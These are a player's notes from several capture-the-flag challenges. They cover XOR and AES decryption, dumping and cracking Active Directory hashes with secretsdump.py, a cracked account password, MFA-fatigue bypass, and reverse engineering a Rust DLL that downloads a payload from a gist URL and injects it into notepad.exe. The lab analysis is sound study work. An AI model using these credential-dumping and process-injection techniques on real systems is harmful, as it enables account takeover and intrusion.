- probably some simple xor-cipher is used, so the KPA (known plaintaxt attack) can be successful
- tail of hamlet:
repetitive pattern of “COSMOBOI” - potential password
first try with cyberchef to xor flag.txt.encry with “COSMOBOI” key
- kEEPING => upper/lowercase swapped
- try key “cosmoboi”
- flag{092744b55420033c5eb9d609eac5e823}
Day 26
MFAtigue
- Provided NTDS.dit with SYSTEM registry hive
- dump hashes from NTDS.dit with impacket:
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
- crack NTLM hashes:
- so, the valid credentials are:
- huntressctf\JILLIAN_DOTSON:katlyn99
- now, we need to bypass MFA
- MFAtigue = MFA Fatigue => just send lot of notifications
- flag{9b896a677de35d7dfa715a05c25ef89e}
Day 27
Feedback
- provide the feedback and got the flag
- flag{we_hope_you_enjoyed_the_game}
Crab Rave
- lnk + dll files provided
- lnk calls DLLMain method from the ntcheckos.dll. Visible in strings:
- easier and harder versions differ in stripped debug symbols from ntcheckos.dll
- easier: there are visible functions names and class methods
- harder: no function names
ntcheckos.dll reverse engineering
- rust binary with two exported functions, DLLMain and NtCheckOSArchitecture
- the first one (DLLMain) just call the second one (NtCheckOSArchitecture)
NtCheckOSArchitecture
- starts with decrypting of something, probably some strings:
- ends (before rust deallocations) with another decryption and call to
crab_rave::inject_flag
crab_rave::inject_flag
- starts with another decryption and call to
reqwest::blocking::get()
- https://docs.rs/reqwest/latest/reqwest/blocking/fn.get.html
- parameter is the URL (passed in register rdx and also in rsi) => probably the decoded string will be URL
- starts with another decryption and call to
now lets focus on decryption routine
crab_rave::litcrypt_internal::decrypt_bytes
- parameters:
- register r8 -number, probably a length of the encrypted data
- register r9 - string, “-rr5-rr5-rr5…”. Always same for each call to this decryption routine. Maybe the key?
- register rcx - buffer for decrypted data
- register rdx - randomly looking bytes, most probably encrypted data
- inside of the function:
- SSE instructions with xmm registers
- loop with xor
- parameters:
- decrypting
- just try CyberChef with XOR
- We already know that the result should be URL (starting with http) => we can try to xor the encrypted data with the expected result (http:, https:) to see what will hapen
- if the cipher is the xor only, we will see the key
- yes, the key starts with “-rr5” => the abovementioned string “-rr5-rr5-rr5…” is really the xor key
- We already know that the result should be URL (starting with http) => we can try to xor the encrypted data with the expected result (http:, https:) to see what will hapen
- decrypted URL from data:
- just try CyberChef with XOR
https://gist.githubusercontent.com/HuskyHacks/8cece878fde615ef8770059d88211b2e/
now go back to the
inject_flag
crab_rave::inject_flag
- what happens with the recontent from the URL?
- it is decoded from base64
- what happens with the recontent from the URL?
- then, it is decrypted with AES-256
- AES decryption
- AES cryptosystem is initialized by call to
libaes::Cipher::new_256(key)
- parameter is the 32 bytes key
- see example: https://docs.rs/libaes/latest/libaes/#examples
- key is in register rdx.
- it seems that string “rAcbUUW…’ is the key. Or, first 32 bytes of this string
- then, there is a call to
libaes::Cipher::cbc_decrypt(iv, &encrypted_data)
- see example- it seems that initialization vector (iv) passed in register r8 is the same as the key
- cipher mode is CBC
- lets verify with the CyberChef
- AES cryptosystem is initialized by call to
- we got the flag :-)
- more notes about the
inject_flag:
- it manipulates with the processes, it would like to write something to the memory of some process, and then it creates remote thread in that process
- there is a string notepad.exe in the other xored strings decrypted with
crab_rave::litcrypt_internal::decrypt_bytes
- another strings are
m.yeomans30801
andWIN-DEV-1
- there are also checks for username and hostname
- it seems that if username and hostname match the strings above, the decrypted flag will be injected to the notepad.exe if the notepad process is running
- if not, the crab will sleep and then it will try again
- flag{225215e04306f6a3c1a59400b054b0df}
Day 28
Snake Eater II
- Python 3.11 program obfuscated with pyarmor and packed with pyinstaller
- extract with pyinstxtractor-ng
- decompile snake_eater.pyc with Decompyle++
obfuscated with pyarmor. Let’s continue with dynamic analysis
in pyarmor_runtime_000000 directory there is
pyarmor_runtime.pyd
file- it is windows DLL
- for make it compatible with linux, install pyarmor for linux
pip install pyarmor
- create simple hello world program in python and obfuscate it with pyarmor
- this will generate linux runtime files, too
pyarmor gen hello.py
- replace decompiled pyarmor_runtime_000000 (windows version) with the generated pyarmor_runtime_000000 (linux version) from dist directory
for running in docker container, enable PTRACE capability
docker run --rm -it --cap-add=SYS_PTRACE ...
install python 3.11 (available in alpine:3.18), run python interpreter in the directory with the extracted snake_eater.pyc
import snake_eater
, and pyarmor will be unpacked in the memory - seehelp(snake_eater)
- now, run the snake_eater.main() method
- it will throw an error about NoneType. Ignore it and just send the python interpreter to the background
generate core dump (23 is pid of python) and grep the flag from memory
# gcore 23 # strings core.23 | grep flag{ flag{be47387ab77251ecf80db1b6725dd7ac}
flag{be47387ab77251ecf80db1b6725dd7ac}
Day 29
BlackCat II
- more OSInt, less malware
- files are encrypted with AES in CFB mode with hardcoded initialization vector
- there is a possiblitity to attack a cryptosystem, if all the files are encrypted with the same key
- well, the key is different for each file
- for the first file, it is provided by user as
decryptionKey
variable - for each next file, the key determined as sha256 sum of the content of the previously decrypted file
- the check of
text==null:
text
variable holds the path of last decrypted file- If it is null, the
decryptionKey
is used as akey
- otherwise the sha256 of the decrypted file is used as a
key
- If it is null, the
- the check of
- for the first file, it is provided by user as
- we need ti find original unencrypted file and compute its hash.
- then we can use it as a decryption key for the next file, which will be used as a decryption key to another file, etc.
- the malware challenge is actually OSint challenge
- but i do not have luck with finding the right website, from where the images have been downloaded
- several hours later….
- the correct URL is on shopify
- https://cdn.shopify.com/s/files/1/1771/4067/files/Cafe_Terrace_at_Night_by_Vincent_van_Gogh_large.jpg
- no search engine was able to find that during October 30th from my location/machines/environment, even with filters such as inurl:, quotes, etc.
- image searches by google, yandex and https://tineye.com may help
- after the competition ended, I checked the write-ups and posts of other guys and well, I noticed that I used the exact searches as they, but without any results.. two days later, the behavior of google image search is different and it also returned the atxfinearts website for me, too
- one good query for Google Image Search is “a_sunday_afternoon_on_the_island_of_la_grande_jatte_by_georges_seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg” (in quotes)
- image searches by google, yandex and https://tineye.com may help
- BUT…
- the downloaded content depends on your browser
- wget and chrome-based browsers downloaded a jpg file with size of 96 kB
- firefox downloaded webp file with size of 83 kB - the correct one
- SHA256: 2708d374d92c8691a333fa0e8638c3588de35e91a7628621a6f114301c4fdbbd
- the downloaded content depends on your browser
- Lets copy flag.txt.encry to the other directory and run the Decryptor.exe
- open flag.txt.decry in notepad and enjoy the flag:
- flag{03365961aa6aca589b59c683eecc9659}
Lolz challenges
lolz#2
- 籖ꍨ穉鵨杤𒅆象𓍆穉鵨詌ꍸ穌橊救硖穤歊晑硒敤睊ꉑ硊ꉤ晊ꉑ硆詤橆赑硤ꉑ穊赑硤詥楊ꉑ睖ꉥ橊赑睤ꉥ杊𐙑硬ꉒ橆𐙑硨穒祊ꉑ硖詤桊赑硤詥晊晑牙
- base65536 + base64
- https://www.better-converter.com/Encoders-Decoders/Base65536-Decode
- The Hawaiian Ha-Le,ByCEBtBzCTBwBABBBvBuBABuAyAwBBBDAwByBxBEAzByAwAzBvByBFAyBxBDBCBEBuBwAwByBuCV
- “base52” coding with characters A-Za-z only
python decoder:
import string ascii=string.ascii_uppercase + string.ascii_lowercase mapping = dict([(ascii[i], i) for i in range(len(ascii))]) data="ByCEBtBzCTBwBABBBvBuBABuAyAwBBBDAwByBxBEAzByAwAzBvByBFAyBxBDBCBEBuBwAwByBuCV" "".join(chr(mapping[data[2*i]]*52+mapping[data[2*i+1]]) for i in range(int(len(data)/2)))
flag{d45cb4b20570fe83f03cf92e768bd0fb}
lolz#3
- wav file
- steganography:
- contains string “Pakitaan mo ng pagmamahal si Rick”
steghide extract -sf bops_lang.wav
- online steghide tool:
- translated from Filipino to English:
- Show Rick some love
- recall older challenge with Rick (I want let you down) and GET some love from Rick
- wget
http://155.138.162.158/love
- it is PNG picture
- wget
- steganography again
- use tool
stegoveritas mentioned in CTF-Katana
- flag{8db1e72d1c96f33c99b9f0eb92f09c7b}